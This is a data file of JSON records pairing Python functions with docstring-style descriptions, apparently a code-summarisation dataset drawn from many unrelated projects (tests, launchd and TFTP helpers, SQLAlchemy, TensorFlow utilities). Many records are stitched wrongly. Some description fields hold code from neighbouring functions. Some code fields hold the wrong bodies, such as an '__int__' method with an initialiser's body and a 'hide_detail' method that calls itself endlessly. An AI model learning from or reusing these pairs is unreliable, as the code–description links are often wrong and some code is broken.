present.raw_predator_result = {'result': {}}expected_parsed_result = {'found': None,'suspected_project': None,'suspected_components': None,'changelists': None,'feedback_url': None,'error_message': None,}self.assertDictEqual(show._parse_suspected_cls(raw_predator_result), expected_parsed_result)class GetStackFramesTest(unittest.TestCase):Test get_stack_frames."} {"code": "def test_forward():\n for input, result in zip(inputs, results):\n out_conv2d = conv2d(input)\n assert allclose(out_conv2d, result)\n out_g_conv2d = g_conv2d(input)\n assert allclose(out_g_conv2d, result)\n\n", "nl": "Compare forwardHandles only single instance batch."} {"code": "def test_factories_category_logo(self):\n category = CategoryFactory(fill_logo=True)\n\n logo = category.extended_object.placeholders.get(slot=\"logo\")\n self.assertEqual(logo.cmsplugin_set.count(), 1)\n\n logo_plugin = logo.cmsplugin_set.get(plugin_type=\"SimplePicturePlugin\")\n self.assertIn(\n \"logo\",\n os.path.basename(logo_plugin.djangocms_picture_picture.picture.file.name),\n )\n", "nl": "The CategoryFactory should be able to generate a plugin with a realistic fake logo."} {"code": "def hide_detail(self):\n\t\tif self.state==1:\n\t\t\tself.hide_detail()\n\t\telse:\n\t\t\tself.show_detail()\n\n\t@property", "nl": "hides the detail view, and calls splitview_did_hide(self) on the delegateself._detailviewcontainer.x = -self._detailviewcontainer.widthself._mainviewcontainer.x=0if self.state==1 and hasattr(self.delegate,'splitview_did_hide'):self.delegate.splitview_did_hide(self)self.state=0def toggle_detail(self):show the detail if hidden, otherwise hide it if shown "} {"code": "def load(name, persist=False):\n job_dict = __salt__['plist.read'](name)\n\n try:\n\n status = _submit_job(job_dict)\n\n except DaemonInstallException, e:\n log.error(\"Exception trying to install launchd job: %r\" % e)\n raise e\n\n\n", "nl": "Load a launchd job by filenamepathThe fully qualified path to a .plist launchd job description.persisttrue - persist the job by making disabled=false in launchd overrides.false - do not make the job permanentCLI Example:.. code-block:: bashsalt '*' launchd.load [persist]"} {"code": "def check(self):\n\n module = self.module\n layers_to_check = ['F.Fab', 'B.Fab', 'F.SilkS', 'B.SilkS', 'F.CrtYd', 'B.CrtYd']\n\n self.overlaps = {}\n self.errcnt = 0\n for layer in layers_to_check:\n self.overlaps[layer] = []\n self.overlaps[layer].extend(self.getLinesOverlap(module.filterLines(layer)))\n self.overlaps[layer].extend(self.getCirclesOverlap(module.filterCircles(layer)))\n\n if len(self.overlaps[layer]) > 0:\n self.errcnt += 1\n self.error(\"%s graphic elements should not overlap.\" % layer)\n self.errorExtra(\"The following elements do overlap at least one other graphic element on the same layer\")\n for bad in self.overlaps[layer]:\n self.errorExtra(graphItemString(bad, layer=True, width=False))\n\n return self.errcnt > 0\n", "nl": "Proceeds the checking of the rule.The following variables will be accessible after checking:* f_fabrication_lines* b_fabrication_lines"} {"code": "def __int__(self) -> int:\n self._status_code = status_code\n self._msgs = msgs\n\n @property", "nl": "Get string representation.return self.valuedef __init__(self, status_code: StatusCode, msgs: List[str]) -> None:Initialise an instance of StatusBody."} {"code": "def encode(self):\n fmt = b\"!HH%dsx\" % len(self.errmsgs[self.errorcode])\n log.debug(\"encoding ERR packet with fmt %s\", fmt)\n self.buffer = struct.pack(\n fmt, self.opcode, self.errorcode, self.errmsgs[self.errorcode]\n )\n return self\n", "nl": "Encode the DAT packet based on instance variables, populatingself.buffer, returning self."} {"code": "def _get_include_path(self, default_entry):", "nl": " Option to include path from rolename ui.default.message(\"Do you want to include full role path to the role name in AWS credential profile name?\"\"\\nPlease answer y or n.\")while True:try:return self._get_user_input_yes_no(\"Include Path\", default_entry)except ValueError:ui.default.warning(\"Include Path must be either y or n.\")def _get_resolve_aws_alias(self, default_entry): Option to resolve account id to alias "} {"code": "def abs_rel_err(a, b, eps=1.0e-10):\n return abs(a - b) / (abs(a) + abs(b) + eps)\n", "nl": "Return a small number when a and b are close, relative to how big they are"} {"code": "def get_time_since_start(self) -> float:\n return time.time() - self.last_update_time\n", "nl": "How much time has passed since the creation of the context.return time.time() - self.start_timedef get_time_since_last_update(self) -> float:How much time has passed since the last call to update."} {"code": "def lr_func_steps_with_lrs(cur_iter):\n ind = get_step_index(cur_iter)\n return cfg.SOLVER.LRS[ind]\n\n", "nl": "For cfg.SOLVER.LR_POLICY = 'steps_with_lrs'Change the learning rate to specified values at specified iterations.Example:cfg.SOLVER.MAX_ITER: 90cfg.SOLVER.STEPS: [0, 60, 80]cfg.SOLVER.LRS: [0.02, 0.002, 0.0002]for cur_iter in [0, 59] use 0.02in [60, 79] use 0.002in [80, inf] use 0.0002"} {"code": "def boxoverlap(self,a,b,criterion=\"union\"):\n\n x1 = max(a.x1, b.x1)\n y1 = max(a.y1, b.y1)\n x2 = min(a.x2, b.x2)\n y2 = min(a.y2, b.y2)\n\n w = x2-x1\n h = y2-y1\n\n if w<=0. or h<=0.:\n return 0.\n inter = w*h\n aarea = (a.x2-a.x1) * (a.y2-a.y1)\n barea = (b.x2-b.x1) * (b.y2-b.y1)\n if criterion.lower()==\"union\":\n o = inter / float(aarea+barea-inter)\n elif criterion.lower()==\"a\":\n o = float(inter) / float(aarea)\n else:\n raise TypeError(\"Unkown type for criterion\")\n return o\n", "nl": "boxoverlap computes intersection over union for bbox a and b in KITTI format.If the criterion is 'union', overlap = (a inter b) / a union b).If the criterion is 'a', overlap = (a inter b) / a, where b should be a dontcare area."} {"code": "def whisperTo(self, avatarName, avatarId, playerId = None):\n assert self.notify.debugStateCall(self)\n self.fsm.request(\"whisper\", [avatarName, avatarId, playerId])\n", "nl": "Interface for the outside world to bring up the whisper interfacefor this avatar"} {"code": "def build_headers(raw_headers):\n headers = http.client.HTTPMessage()\n headers._headers = raw_headers\n return headers", "nl": "Build a date structure for HTTP headers from a list of name - value pairs.See also https://github.com/aaugustin/websockets/issues/210."} {"code": "def bytes_to_ints(bytes_value):\n if importlib and hasattr(importlib, \"invalidate_caches\"):\n importlib.invalidate_caches()\n\n", "nl": "Turn a bytes object into a sequence of ints.for byte in bytes_value:yield ord(byte)try:# In Python 2.x, the builtins were in __builtin__BUILTINS = sys.modules['__builtin__']except KeyError:# In Python 3.x, they're in builtinsBUILTINS = sys.modules['builtins']# imp was deprecated in Python 3.3try:import importlibimport importlib.utilimp = Noneexcept ImportError:importlib = None# We only want to use importlib if it has everything we need.try:importlib_util_find_spec = importlib.util.find_specexcept Exception:import impimportlib_util_find_spec = None# What is the .pyc magic number for this version of Python?try:PYC_MAGIC_NUMBER = importlib.util.MAGIC_NUMBERexcept AttributeError:PYC_MAGIC_NUMBER = imp.get_magic()def invalidate_import_caches():Invalidate any import caches that may or may not exist."} {"code": "def ascii_print_pipes():\n asciitree = attempt_import('asciitree')\n ascii_dict, replace_dict = {}, {'connector': {}, 'metric': {}, 'location': {}}\n for conn_keys, metrics in pipes.items():\n _colored_conn_key = colored(icons['connector'] + conn_keys, style=styles['connector'])\n if Text is not None:\n replace_dict['connector'][_colored_conn_key] = (\n Text(conn_keys, style=styles['connector'])\n )\n ascii_dict[_colored_conn_key] = {}\n for metric, locations in metrics.items():\n _colored_metric_key = colored(icons['metric'] + metric, style=styles['metric'])\n if Text is not None:\n replace_dict['metric'][_colored_metric_key] = (\n Text(metric, style=styles['metric'])\n )\n ascii_dict[_colored_conn_key][_colored_metric_key] = {}\n for location, pipe in locations.items():\n _location_style = styles[('none' if location is None else 'location')]\n pipe_addendum = '\\n ' + pipe.__repr__() + '\\n'\n _colored_location = colored(\n icons['location'] + str(location), style=_location_style\n )\n _colored_location_key = _colored_location + pipe_addendum\n if Text is not None:\n replace_dict['location'][_colored_location] = (\n Text(str(location), style=_location_style)\n )\n ascii_dict[_colored_conn_key][_colored_metric_key][_colored_location_key] = {}\n\n tree = asciitree.LeftAligned()\n output = ''\n cols = []\n\n key_str = (\n (Text(\" \") if Text is not None else \" \") +\n (\n Text(\"Key\", style='underline') if Text is not None else\n colored(\"Key\", style='underline')\n ) + (Text('\\n\\n ') if Text is not None else '\\n\\n ') +\n (\n Text(\"Connector\", style=styles['connector']) if Text is not None else\n colored(\"Connector\", style=styles['connector'])\n ) + (Text('\\n +-- ') if Text is not None else '\\n +-- ') +\n (\n Text(\"Metric\", style=styles['metric']) if Text is not None else\n colored(\"Metric\", style=styles['metric'])\n ) + (Text('\\n +-- ') if Text is not None else '\\n +-- ') +\n (\n Text(\"Location\", style=styles['location']) if Text is not None else\n colored(\"Location\", style=styles['location'])\n ) + (Text('\\n\\n') if Text is not None else '\\n\\n')\n )\n\n output += str(key_str)\n cols.append(key_str)\n", "nl": "Print the dictionary with no unicode allowed. Also works in case rich fails to import(though rich should auto-install when `attempt_import()` is called)."} {"code": "def create_template(self, cluster_name, template_name='my_template', timeout=300):\n end_time = time.time() + timeout\n cluster = self.connection.clusters.get(cluster_name)\n\n tmpl_params = types.Template(name=template_name,\n vm=self.instance,\n cluster=cluster)\n try:\n LOG.info('Creating a template %s from VM %s'\n % (template_name, self.name))\n self.connection.templates.add(tmpl_params)\n LOG.info('Waiting for VM to reach status')\n vm_down = False\n while time.time() < end_time:\n if self.is_dead():\n vm_down = True\n break\n time.sleep(1)\n if not vm_down:\n raise WaitVMStateTimeoutError(\"DOWN\", self.state())\n except Exception as e:\n LOG.error('Failed to create a template from VM:\\n%s' % str(e))\n", "nl": "Create a template from VM.:param cluster_name: cluster name.:param template_name: 'my_template' is default template name.:param timeout: Time out"} {"code": "def test_MLP(self):\n num_classes = 10\n bert_output, _ = self.model.init_with_output(\n jax.random.PRNGKey(0),\n self.token_ids,\n self.position_ids,\n self.segment_ids,\n self.mask,\n enable_dropout=False)\n token_classifier_head = heads.TokenClassifierHead(\n features=[self.hidden_size, num_classes])\n output, variables = token_classifier_head.init_with_output(\n jax.random.PRNGKey(0), bert_output, enable_dropout=False)\n self.assertEqual((2, 3, num_classes), output.shape)\n\n params = variables['params']\n self.assertDictEqual(\n testing_utils.param_dtypes_shapes_axes(params,\n variables['params_axes']),\n {\n 'mlp': {\n 'dense_0': {\n 'bias': ['float32', 'mlp=4'],\n 'kernel': ['float32', 'embed=4', 'mlp=4']\n },\n 'dense_1': {\n 'bias': ['float32', 'mlp=10'],\n 'kernel': ['float32', 'embed=4', 'mlp=10']\n }\n }\n })\n\nif __name__ == '__main__':\n absltest.main()", "nl": "Tests whether Token Classifier returns correct shape.num_classes = 10bert_output, _ = self.model.init_with_output(jax.random.PRNGKey(0),self.token_ids,self.position_ids,self.segment_ids,self.mask,enable_dropout=False)mlp = heads.MLP(features=[self.hidden_size, num_classes])output, variables = mlp.init_with_output(jax.random.PRNGKey(0), bert_output, enable_dropout=False)# We have batch_size=2 and seq_length=3self.assertEqual((2, 3, num_classes), output.shape)params = variables['params']self.assertDictEqual(testing_utils.param_dtypes_shapes_axes(params,variables['params_axes']),{'dense_0': {'bias': ['float32', 'mlp=4'],'kernel': ['float32', 'embed=4', 'mlp=4']},'dense_1': {'bias': ['float32', 'mlp=10'],'kernel': ['float32', 'embed=4', 'mlp=10']}})def test_bert_token_classifier(self):Tests whether Token Classifier returns correct shape."} {"code": "def load_dataset_spec(dataset_records_path, convert_from_pkl=False):\n json_path = os.path.join(dataset_records_path, 'dataset_spec.json')\n pkl_path = os.path.join(dataset_records_path, 'dataset_spec.pkl')\n if tf.io.gfile.exists(json_path):\n with tf.io.gfile.GFile(json_path, 'r') as f:\n data_spec = json.load(f, object_hook=as_dataset_spec)\n elif tf.io.gfile.exists(pkl_path):\n if convert_from_pkl:\n logging.info('Loading older dataset_spec.pkl to convert it.')\n with tf.io.gfile.GFile(pkl_path, 'rb') as f:\n data_spec = pkl.load(f)\n with tf.io.gfile.GFile(json_path, 'w') as f:\n json.dump(data_spec.to_dict(), f, indent=2)\n else:\n raise RuntimeError(\n 'No dataset_spec.json file found in directory %s, but an older '\n 'dataset_spec.pkl was found. You can try to pass '\n '`convert_from_pkl=True` to convert it, or you may need to run the '\n 'conversion again in order to make sure you have the latest version.'\n % dataset_records_path)\n else:\n raise RuntimeError('No dataset_spec file found in directory %s' %\n dataset_records_path)\n\n data_spec = data_spec._replace(path=dataset_records_path)\n data_spec.initialize()\n return data_spec", "nl": "Loads dataset specification from directory containing the dataset records.Newly-generated datasets have the dataset specification serialized as JSON,older ones have it as a .pkl file. If no JSON file is present and`convert_from_pkl` is passed, this method will load the .pkl and serialize itto JSON.Args:dataset_records_path: A string, the path to the directory containing.tfrecords files and dataset_spec.convert_from_pkl: A boolean (False by default), whether to convert adataset_spec.pkl file to JSON.Returns:A DatasetSpecification, BiLevelDatasetSpecification, orHierarchicalDatasetSpecification, depending on the dataset.Raises:RuntimeError: If no suitable dataset_spec file is found in directory(.json or .pkl depending on `convert_from_pkl`)."} {"code": "def load_agent(agent_dir: Union[PathLike, str], password: Optional[str] = None) -> AEA:\n with cd(agent_dir):\n return AEABuilder.from_aea_project(\".\", password=password).build(\n password=password\n )\n\n", "nl": "Load AEA from directory.:param agent_dir: agent configuration directory:param password: the password to encrypt/decrypt the private key.:return: AEA instance"} {"code": "def CreateForDevice(self, request, context):\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n", "nl": "CreateForDevice creates a deployment for the given DevEUI."} {"code": "def update_instance(item, proxy, data):\n instances = {i.id: i for i in context}\n instance_ids = set(i.id for i in ctx)\n instance_ids.add(ctx.id)\n for id, item in items.items():\n if id not in instance_ids:\n self.data[\"models\"][\"item\"].remove_instance(item)\n context.remove(instances[id])\n", "nl": "Update model and proxy for reflecting changes on instance# Update instance item model data for GUIitem.isToggled = data.get(\"publish\", True)item.optional = data.get(\"optional\", True)item.category = data.get(\"category\", data[\"family\"])item.label = data.get(\"label\", None)families = [data[\"family\"]]families.extend(data.get(\"families\", []))item.familiesConcatenated = \", \".join(families)if proxy is None:return# Update proxy instance data which currently being iterated in# the primary iteratorproxy.data[\"publish\"] = data.get(\"publish\", True)proxy.data[\"family\"] = data[\"family\"]proxy.data[\"families\"] = data.get(\"families\", [])def remove_instance(ctx, items):Remove instance"} {"code": "def cmd_and_wait_for_regex(self,command,pattern,interval=u'30s',max_num=u'10',error_with_max_num=True):\n\n num = 1\n BuiltIn().log(\"Execute command `%s` and wait for `%s`\" % (command,pattern))\n while num <= int(max_num):\n BuiltIn().log(\" %d: command is `%s`\" % (num,command))\n output = self._cmd(command)\n if re.search(pattern,output):\n BuiltIn().log(\"Found pattern `%s` and stopped the loop\" % pattern)\n break;\n else:\n num = num + 1\n time.sleep(DateTime.convert_time(interval))\n BuiltIn().log_to_console('.','STDOUT',True)\n if error_with_max_num and num > int(max_num):\n msg = \"ERROR: Could not found pattern `%s`\" % pattern\n BuiltIn().log(msg)\n raise Exception(msg)\n BuiltIn().log(\"Executed command `%s` and waited for pattern `%s`\" % (command,pattern))\n\n", "nl": " Execute a command and expect ``pattern`` occurs in the output.If not wait for ``interval`` and repeat the process againWhen the keyword contains ``not:`` at the beginning, the matching logicis revsersed.After ``max_num``, if ``error_with_max_num`` is ``True`` then thekeyword will fail. Ortherwise the test continues."} {"code": "def read(self, size=1024):\n b = super(SimplePty, self).read(size)\n if not b:\n return ''\n if self.skip_cr:\n b = b.replace(b'\\r', b'')\n return self.decoder.decode(b, final=False)\n", "nl": "Read at most ``size`` bytes from the pty, return them as unicode.Can block if there is nothing to read. Raises :exc:`EOFError` if theterminal was closed.The size argument still refers to bytes, not unicode code points."} {"code": "def from_string(cls, iri_string, encoding=\"utf-8\"):\n iri_string = compat.to_str(iri_string, encoding)\n\n split_iri = misc.IRI_MATCHER.match(iri_string).groupdict()\n return cls(\n split_iri[\"scheme\"],\n split_iri[\"authority\"],\n normalizers.encode_component(split_iri[\"path\"], encoding),\n normalizers.encode_component(split_iri[\"query\"], encoding),\n normalizers.encode_component(split_iri[\"fragment\"], encoding),\n encoding,\n )\n", "nl": "Parse a IRI reference from the given unicode IRI string.:param str iri_string: Unicode IRI to be parsed into a reference.:param str encoding: The encoding of the string provided:returns: :class:`IRIReference` or subclass thereof"} {"code": "def EqualSpacing(Mol, frames=0, dx=0, RMSD=True, align=True):\n ArcMol = arc(Mol, RMSD=RMSD, align=align)\n ArcMolCumul = np.insert(np.cumsum(ArcMol), 0, 0.0)\n if frames != 0 and dx != 0:\n logger.error(\"Provide dx or frames or neither\")\n elif dx != 0:\n frames = int(float(max(ArcMolCumul))/dx)\n elif frames == 0:\n frames = len(ArcMolCumul)\n\n ArcMolEqual = np.linspace(0, max(ArcMolCumul), frames)\n xyzold = np.array(Mol.xyzs)\n xyznew = np.zeros((frames, Mol.na, 3))\n for a in range(Mol.na):\n for i in range(3):\n xyznew[:,a,i] = np.interp(ArcMolEqual, ArcMolCumul, xyzold[:, a, i])\n if len(xyzold) == len(xyznew):\n Mol1 = copy.deepcopy(Mol)\n else:\n Mol1 = Mol[np.array([int(round(i)) for i in np.linspace(0, len(xyzold)-1, len(xyznew))])]\n Mol1.xyzs = list(xyznew)\n return Mol1\n", "nl": "Equalize the spacing of frames in a trajectory with linear interpolation.This is done in a very simple way, first calculating the arc lengthbetween frames, then creating an equally spaced array, and interpolatingall Cartesian coordinates along this equally spaced array.This is intended to be used on trajectories with smooth transformations andensures that concatenated frames containing both optimization coordinatesand dynamics trajectories don't have sudden changes in their derivatives.Parameters----------Mol : MoleculeMolecule object for equalizing the spacing.frames : intReturn a Molecule object with this number of frames.RMSD : boolUse RMSD in the arc length calculation.Returns-------Mol1 : MoleculeNew molecule object, either the same one (if frames > len(Mol))or with equally spaced frames."} {"code": "def parse_comment(indent_level, __, ___, source, syntax):\n while True:\n try:\n lineno, tail_line = next(source)\n except StopIteration:\n break\n tail_indent, tail_line = scan_line(tail_line)\n if not tail_line:\n continue\n if tail_indent <= indent_level:\n return '', tail_indent, tail_line, source\n return '', 0, '', source\n\n", "nl": ":param indent_level::param __::param ___::param source::param syntax: an instance of one of :class:`plim.syntax.BaseSyntax` children.:type syntax: :class:`plim.syntax.BaseSyntax`:return:"} {"code": "def field_cast_sql(self, db_type):\n return '%s'\n", "nl": "Given a column type (e.g. 'BLOB', 'VARCHAR'), returns the SQL necessaryto cast it before using it in a WHERE statement. Note that theresulting string should contain a '%s' placeholder for the column beingsearched against."} {"code": "def removeN(svgfile):\n for count in range(0, len(svgfile)):\n svgfile[count] = svgfile[count][0: (len(svgfile[count]))-1]\n return svgfile\n", "nl": "Removes the final character from every line, this is always /n, aka newline character."} {"code": "def tile_concat(values, axis):\n shapes = [value.get_shape() for value in values]\n ndims = shapes[0].ndims\n for shape in shapes[1:]:\n assert ndims == shape.ndims\n if -ndims < axis < 0:\n axis += ndims\n shapes = [shape.as_list() for shape in shapes]\n dims = [shape.pop(axis) for shape in shapes]\n shapes = [tf.TensorShape(shape) for shape in shapes]\n b_shape = shapes[0]\n for shape in shapes[1:]:\n b_shape = tf.broadcast_static_shape(b_shape, shape)\n b_shapes = [b_shape.as_list() for _ in dims]\n for b_shape, dim in zip(b_shapes, dims):\n b_shape.insert(axis, dim)\n b_values = []\n for value, b_shape in zip(values, b_shapes):\n multiples = []\n for dim, b_dim in zip(value.get_shape().as_list(), b_shape):\n if dim == b_dim:\n multiples.append(1)\n else:\n assert dim == 1\n multiples.append(b_dim)\n if any(multiple != 1 for multiple in multiples):\n b_value = tf.tile(value, multiples)\n else:\n b_value = value\n b_values.append(b_value)\n return tf.concat(b_values, axis=axis)\n\n", "nl": "Like concat except that first tiles the broadcastable dimensions if necessary"} {"code": "def test_hash_different_between_instances(self, tag_factory):\n assert hash(tag_factory()) != hash(tag_factory())\n", "nl": "Test that different instances have different hashes.This is actually unneeded as we are merely testing the builtin ``hash``function and ``Tag.as_tuple`` but for reassurance we test it anyway."} {"code": "def _format_matches(value) -> str:\n return '/{}/'.format(value) if not isinstance(value, list) else ['/{}/'.format(each) for each in value]\n\n @staticmethod", "nl": "Formatting value in the event of MATCHES operationencapsulating the value inside regex keyword:param value: str:return: str"} {"code": "def configure_mappers():\n\n if not Mapper._new_mappers:\n return\n\n _CONFIGURE_MUTEX.acquire()\n try:\n global _already_compiling\n if _already_compiling:\n return\n _already_compiling = True\n try:\n\n if not Mapper._new_mappers:\n return\n\n has_skip = False\n\n Mapper.dispatch._for_class(Mapper).before_configured()\n\n for mapper in list(_mapper_registry):\n run_configure = None\n for fn in mapper.dispatch.before_mapper_configured:\n run_configure = fn(mapper, mapper.class_)\n if run_configure is EXT_SKIP:\n has_skip = True\n break\n if run_configure is EXT_SKIP:\n continue\n\n if getattr(mapper, \"_configure_failed\", False):\n e = sa_exc.InvalidRequestError(\n \"One or more mappers failed to initialize - \"\n \"can't proceed with initialization of other \"\n \"mappers. Triggering mapper: '%s'. \"\n \"Original exception was: %s\"\n % (mapper, mapper._configure_failed)\n )\n e._configure_failed = mapper._configure_failed\n raise e\n\n if not mapper.configured:\n try:\n mapper._post_configure_properties()\n mapper._expire_memoizations()\n mapper.dispatch.mapper_configured(\n mapper, mapper.class_\n )\n except Exception:\n exc = sys.exc_info()[1]\n if not hasattr(exc, \"_configure_failed\"):\n mapper._configure_failed = exc\n raise\n\n if not has_skip:\n Mapper._new_mappers = False\n finally:\n _already_compiling = False\n finally:\n _CONFIGURE_MUTEX.release()\n Mapper.dispatch._for_class(Mapper).after_configured()\n\n", "nl": "Initialize the inter-mapper relationships of all mappers thathave been constructed thus far.This function can be called any number of times, but inmost cases is invoked automatically, the first time mappings are used,as well as whenever mappings are used and additional not-yet-configuredmappers have been constructed.Points at which this occur include when a mapped class is instantiatedinto an instance, as well as when the :meth:`.Session.query` methodis used.The :func:`.configure_mappers` function provides several event hooksthat can be used to augment its functionality. These methods include:* :meth:`.MapperEvents.before_configured` - called once before:func:`.configure_mappers` does any work; this can be used to establishadditional options, properties, or related mappings before the operationproceeds.* :meth:`.MapperEvents.mapper_configured` - called as each individual:class:`_orm.Mapper` is configured within the process; will include allmapper state except for backrefs set up by other mappers that are stillto be configured.* :meth:`.MapperEvents.after_configured` - called once after:func:`.configure_mappers` is complete; at this stage, all:class:`_orm.Mapper` objects that are known to SQLAlchemy will be fullyconfigured. Note that the calling application may still have othermappings that haven't been produced yet, such as if they are in modulesas yet unimported."} {"code": "def vote(self, local_pred):\n if self.pm is None:\n assert self.view_num == 1\n return local_pred\n assert self.view_num == len(self.pm), \"permuation_matrix does not match view number\"\n print(\"local pred {}\".format(local_pred.shape))\n local_preds = tf.unstack(local_pred, axis=1)\n world_preds = []\n for V in range(self.view_num):\n '''\n td = tf.tensordot(local_preds[V], self.pm_tensor[V], axes=1)\n world_preds.append(td)\n st = tf.stack(world_preds, 1)\n print(\"stacked world_preds {}\".format(st.shape))\n ret = tf.reduce_sum(st, axis=1, keepdims=True)\n print(\"voted world_preds {}\".format(ret.shape))\n return ret\n", "nl": "local_pred: shape [BATCH, VIEW, N]return world_pred: shape [BATCH, 1, N], pretending it's still single view."} {"code": "def _remove_objects_for_keys(dict, keys, changed=None):\n if changed is None:\n changed = dict()\n\n for key, value in keys.items():\n existing_value = dict.objectForKey_(key)\n\n if not existing_value is None:\n if type(value) is dict:\n changed[key] = {}\n _remove_objects_for_keys(existing_value, value, changed[key])\n else:\n dict.removeObjectForKey_(key)\n changed[key] = value\n\n", "nl": "Remove plist values using a given dict.Traverse each entry in the keys dict and remove the corresponding key (if it exists).If it doesn't exist then the function returns early.If the key was removed, the full path to that key is indicated in the changed dict.Args:dict (NSMutableDictionary): The current dictionary being operated on. For a non existent file this will beblank.keys: A dict representing a hierarchy pointing to keys to be removedchanged: A dict used to record changes made"} {"code": "def ko(T):\n x = log(T)\n\n B = exp(4.7470660612 - 5.3641468153*x + 3.4639703698*x**2 -\n 1.0702455443*x**3 + 0.1571349306*x**4 - 0.00892140047*x**5)\n C = 2.2109006708 + 187.74174808/T - 1281.0947055/T**2 + \\\n 3645.2393216/T**3 - 3986.6937948/T**4\n ly = exp(B*rho + C*rho**2)\n\n return ly\n\n if T < 300:\n lo = ko(T)\n ly = ky(T, rho_gcc)\n\n lc = 0\n\n l = lo*ly+lc\n\n else:\n lo = 1.53220256*T**0.71938*exp(12.451/T-295.67/T**2-4.1249)\n le = ko(300)*(ky(T, rho_gcc)-1)\n\n l = lo+le\n\n return unidades.ThermalConductivity(l*1e2, \"mWmK\")\n\n _thermal = thermo0, thermo1\n\n\nclass Test(TestCase):\n", "nl": "Dilute gas contributionx = log(T)Z = -4.3611622157 + 1.9250159286*x - 0.52544120165*x**2 + \\0.090045763885*x**3 - 0.0054773874808*x**4 # Eq 7lo = exp(Z*x) # Eq 6return lodef ky(T, rho):Correction for dilute gas"} {"code": "def set_exception(self, ex, traceback=None):\n self.__operation_end = time.time()\n self.__operation_summary = summary\n", "nl": "Sets the exception if one was encountered.self.__end = time.time()self.__traceback = tracebackself.__exception = exdef set_operation_summary(self, summary):Sets the summary for this execution trace, if one is known."} {"code": "def get_composers(self, *args, **kwargs):\n args = tuple([\"composers\"] + list(args))\n return self.get_music_library_information(*args, **kwargs)\n", "nl": "Convenience method for `get_music_library_information`with ``search_type='composers'``. For details of other arguments,see `that method<#soco.music_library.MusicLibrary.get_music_library_information>`_."} {"code": "def __call__(self, target, bind, **kw):\n\n Specifies literal SQL DDL to be executed by the database. DDL objects\n function as DDL event listeners, and can be subscribed to those events\n listed in :class:`.DDLEvents`, using either :class:`.Table` or\n :class:`.MetaData` objects as targets. Basic templating support allows\n a single DDL instance to handle repetitive tasks for multiple tables.\n\n Examples::\n\n from sqlalchemy import event, DDL\n\n tbl = Table('users', metadata, Column('uid', Integer))\n event.listen(tbl, 'before_create', DDL('DROP TRIGGER users_trigger'))\n\n spow = DDL('ALTER TABLE %(table)s SET secretpowers TRUE')\n event.listen(tbl, 'after_create', spow.execute_if(dialect='somedb'))\n\n drop_spow = DDL('ALTER TABLE users SET secretpowers FALSE')\n connection.execute(drop_spow)\n\n When operating on Table events, the following ``statement``\n string substitions are available::\n\n %(table)s - the Table name, with any required quoting applied\n %(schema)s - the schema name, with any required quoting applied\n %(fullname)s - the Table name including schema, quoted if needed\n\n The DDL's \"context\", if any, will be combined with the standard\n substitutions noted above. Keys present in the context will override\n the standard substitutions.\n\n \"\"\"", "nl": "Execute the DDL as a ddl_listener.if self._should_execute(target, bind, **kw):return bind.execute(self.against(target))def _check_ddl_on(self, on):if (on is not None and(not isinstance(on, util.string_types + (tuple, list, set)) andnot util.callable(on))):raise exc.ArgumentError(\"Expected the name of a database dialect, a tuple \"\"of names, or a callable for \"\"'on' criteria, got type '%s'.\" % type(on).__name__)def bind(self):if self._bind:return self._binddef _set_bind(self, bind):self._bind = bindbind = property(bind, _set_bind)def _generate(self):s = self.__class__.__new__(self.__class__)s.__dict__ = self.__dict__.copy()return sclass DDL(DDLElement):A literal DDL statement."} {"code": "def __init__(self, in_size, hidden_size, out_size, num_layers=1, dropout=0.2, bidirectional=False):\n super(AuViSubNet, self).__init__()\n self.rnn = nn.LSTM(in_size, hidden_size, num_layers=num_layers, dropout=dropout, bidirectional=bidirectional, batch_first=True)\n self.dropout = nn.Dropout(dropout)\n self.linear_1 = nn.Linear(hidden_size, out_size)\n", "nl": "Args:in_size: input dimensionhidden_size: hidden layer dimensionnum_layers: specify the number of layers of LSTMs.dropout: dropout probabilitybidirectional: specify usage of bidirectional LSTMOutput:(return value in forward) a tensor of shape (batch_size, out_size)"} {"code": "def resource_update(self, context, log_objs):\n LOG.debug(\"Resource_update %s\", log_objs)\n\n with self.ovn_nb.transaction(check_error=True) as ovn_txn:\n self._update_log_objs(context, ovn_txn, log_objs)\n\n", "nl": "Tell the agent when resources related to log_objects arebeing updated:param context: current running context information:param log_objs: a list of log_objects, whose related resources arebeing updated."} {"code": "def envelope(data):\n hilb = hilbert(data)\n data = (data ** 2 + hilb ** 2) ** 0.5\n return data\n\n", "nl": "Envelope of a function.Computes the envelope of the given function. The envelope is determined byadding the squared amplitudes of the function and it's Hilbert-Transformand then taking the square-root. (See [Kanasewich1981]_)The envelope at the start/end should not be taken too seriously.:type data: numpy.ndarray:param data: Data to make envelope of.:return: Envelope of input data."} {"code": "def enabled_plugins(self) -> Dict[str, Plugin]:\n return [plg for _, plg in self.plugins.items() if plg.is_disabled]\n\n @property", "nl": "returns all enabled pluginsreturn {plg.name: plg for _, plg in self.plugins.items() if plg.is_enabled}@propertydef disabled_plugins(self) -> List[Plugin]: returns all disabled plugins "} {"code": "def register_sqlite_functions(connection):\n connection.create_function(\"numbits_union\", 2, numbits_union)\n connection.create_function(\"numbits_intersection\", 2, numbits_intersection)\n connection.create_function(\"numbits_any_intersection\", 2, numbits_any_intersection)\n connection.create_function(\"num_in_numbits\", 2, num_in_numbits)\n connection.create_function(\"numbits_to_nums\", 1, lambda b: json.dumps(numbits_to_nums(b)))", "nl": "Define numbits functions in a SQLite connection.This defines these functions for use in SQLite statements:* :func:`numbits_union`* :func:`numbits_intersection`* :func:`numbits_any_intersection`* :func:`num_in_numbits`* :func:`numbits_to_nums``connection` is a :class:`sqlite3.Connection `object. After creating the connection, pass it to this function toregister the numbits functions. Then you can use numbits functions in yourqueries::import sqlite3from coverage.numbits import register_sqlite_functionsconn = sqlite3.connect('example.db')register_sqlite_functions(conn)c = conn.cursor()# Kind of a nonsense query: find all the files and contexts that# executed line 47 in any file:c.execute(\"select file_id, context_id from line_bits where num_in_numbits(?, numbits)\",(47,))"} {"code": "def __json__(self):\n return self.value\n\n @property", "nl": "If you want json serialization, you have at least two options:1. Patch the default serializer.2. Write a custom JSONEncoder.ChoicesEnum comes with a handy patch funtion, you need to add thiscode, to somewhere at the top of everything to automagically addjson serialization capabilities:from choicesenum.patches import patch_jsonpatch_json()Note: Eventually `__json__` will be added to the stdlib, seehttps://bugs.python.org/issue27362"} {"code": "def to_log_info(self):\n l = [\"backend %s\" % (self.backend.__class__.__name__,),\n \"archive-dir %s\" % 